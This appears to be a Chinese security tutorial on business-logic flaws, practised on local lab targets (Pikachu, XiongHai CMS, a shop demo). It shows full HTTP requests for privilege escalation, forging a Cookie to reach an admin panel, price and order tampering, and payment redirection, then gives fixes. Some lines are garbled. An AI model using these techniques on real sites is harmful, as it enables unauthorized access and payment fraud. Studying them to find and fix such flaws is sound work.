逻辑漏洞安全

逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。 在实际开发中,因为开发者水平不一没有安全意识,而且业务发展迅速内部测试没有及时到位,所以常常会出现类似的漏洞。
由于开发者/设计者在开发过程中,由于代码逻辑不严或者业务逻辑不严
逻辑漏洞是一类漏洞的总称
本文章介绍:
burpsuite的authz工具,用来做水平垂直漏洞的测试界面
熊海CMS,Cookie脆弱,修改订单价格,商品数量,订单编号(只写了这个,其他两个简单不再列举)
涉及 phpyun 平台(php回显、Responce状态值)
逍遥模拟器-福利期贷(状态码修改)
越权原理
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
原理:前端安全造成:界面 (验证写在前端):判断用户等级后,代码界面部分进行可选显示pikachu
后端安全造成:数据库:
后端造成的漏洞
user表(管理员与普通用户同一个表)id,username,password,usertype1,admin,123456,12,xuan,22222,2
登录用户admin,xuan,代码如何验证这个级别
如果在访问网站数据包中有传输用户的编号,用户组编号或者里类型编号,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
越权分为 水平越权,垂直越权,未授权访问
水平越权访问
同级别用户:用户A 用户B 用户C 用户D
通过更换某个ID之类的身份标识(Cookie),从而使A账号获取(修改,删除)B账号的信息
垂直越权访问
普通用户 超级管理员(跨级别操作)
使用低权限身份的账号,发送高权限账号才能有的请求,获得更高权限
前提条件:获取的添加用户的数据包
怎么来的数据包:
- 普通用户前端有操作界面可以抓取数据包
- 通过网站源码本地搭建自己去模拟抓取
- 盲猜
未授权访问
通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作
越权
水平垂直
pikachu靶场
前期信息收集可以得到其他用户用户名,登录了kobe的用户,修改数据包,获得其他用户的消息
[http://192.168.118.140/pikachu/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF](http://192.168.118.140/pikachu/vul/overpermission/op1/op1_mem.php?username=kobe&submit=点击查看个人信息)
使用burp修改数据包,把kobe修改为lucy,放出数据包
获取到了lucy的信息,这就是水平越权漏洞
垂直越权
登录admin用户,可以进行增加和删除用户的操作,我们点击增加用户,在里面填写数据,抓取数据包,这个是admin用户添加用户数据包,在burpsuite中点击发送到response
POST /pikachu/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 192.168.118.140
Content-Length: 84
Cache-Control: max-age=0
Origin: http://192.168.118.140
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/pikachu/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BEEFHOOK=ScVceLIkTnsEEuo7J9aroFWRTuiy6ym6cvQQOccmqtFsSdOQHiaIaqfzMunmJNYXYKJIgB73rvznkkth; safedog-flow-item=; PHPSESSID=6urmm0ts2j6921cvg8g6kd5ek5
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-aliveusername=xuan&password=xuan&sex=&phonenum=&email=&address=&submit=%E5%88%9B%E5%BB%BA
放数据包,登录admin用户,如果不小心添加了这个用户我们进行删除,登录普通用户 pikachu,发现只有查看用户的权限,我们(burpsuite的response)直接发送admin添加用户的数据包
发送成功!添加用户成功了?
pikachu这个是前端安全造成的漏洞
if(mysqli_num_rows($result)==1){$data=mysqli_fetch_assoc($result);if($data['level']==1){//如果级别是1,进入admin.php$_SESSION['op2']['username']=$username;$_SESSION['op2']['password']=sha1(md5($password));$_SESSION['op2']['level']=1;header("location:op2_admin.php");}if($data['level']==2){//如果级别是2,进入user.php$_SESSION['op2']['username']=$username;$_SESSION['op2']['password']=sha1(md5($password));$_SESSION['op2']['level']=2;header("location:op2_user.php");}}else{//查询不到,登录失败$html.="<p>登录失败,请重新登录</p>";}
burpsuite插件Authz
登录
zblog博客 密码爆破
先进行HTTP/HTTPS协议的密文抓取
明文进行明文爆破,密文进行密文爆破
密码进行目录md5的32位小写加密,我们进行爆破,单纯的密码字典报不出来,我们使用Payload processing添加hash,然后进行md5加密
我这个博客后台登录搭建时候有验证码,可能每次都要刷新,没有爆破出来,但思路记住
熊海cms Cookie脆弱
参考 其他文章在漏洞复现/CMS/熊猫cms
接下来我们来进行实践,访问http://192.168.118.140/xhcms/admin/?r=login
,进行抓包,修改Cookie为任意值,获得数据包
GET /xhcms/admin/?r=index HTTP/1.1
Host: 192.168.118.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/xhcms/admin/?r=login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=é¹
13213123
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-alive
放包直接进入后台
业务
商品购物流程
选择商品和数量-选择支付以及配送方式-生成订单编号-订单支付选择-完成支付常见篡改参数:(niushop)
商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态常见修改方式:
替换支付,重复支付,最新额支付,负数支付,溢出支付,优惠卷支付
修改订单编号(只列举一个例子)
#大米测试产品,价格6000
GET /dami/index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/dami/Public/Uploads/thumb/thumb_1393218295.jpg#找之前我们抓取的数据包,大米产品,数量为2的数据包,价格为5400
GET /dami/index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9C%BACMS&qty=2&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/dami/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.
我们观察会发现。商品ID不一致,name不一致,price价格不一致,qty不一致,gtype不太重要,pic图片地址,在不考虑价格和数量情况下,我们修改它的id和name
预估效果:使用大米产品的价格5400去买另一件商品大米测试产品
重新抓取大米产品的数据包,地址如上,id和name替换为测试产品的id和name,返回数据包
修改支付方式,niushop平台
修改支付到第三方接口
假设 p a y n a m e = pay_name= payname=_GET[‘s’];
index.php?s=/wap/pay/wchatQrodePay 微信
index.php?s=/wap/pay/alpay 支付宝
index.php?s=http://xuan.com/alpay 其他平台
找回
客户端回显,Responce状态值,验证码爆破,找回流程,接口调用
短信轰炸,来电轰炸
搭建一个phpyun系统,需要phpyun3.2
在左侧注册一个自己的号,使用自己的手机号,这个3.1版本没有绑定手机号界面,其他下载链接没有找到
修复方案
前后端同时对用户输入信息进行校验,双重验证机制
调用功能前验证用户是否有权限调用相关问题
执行关键操作前必须检验用户身份,验证用户是否具备操作数据的权限
直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊处理化
永远不要相信来自用户的输入,对于可控参数进行严格的检查和过滤
涉及资源
BurpSuite插件HaE与Authz用法(傻瓜式 详细)
ztosec/secscan-authcheck 安装部署教程
熊海CMS 网站综合管理系统 v1.0 源码下载-脚本之家
挖掘技巧:支付漏洞之总结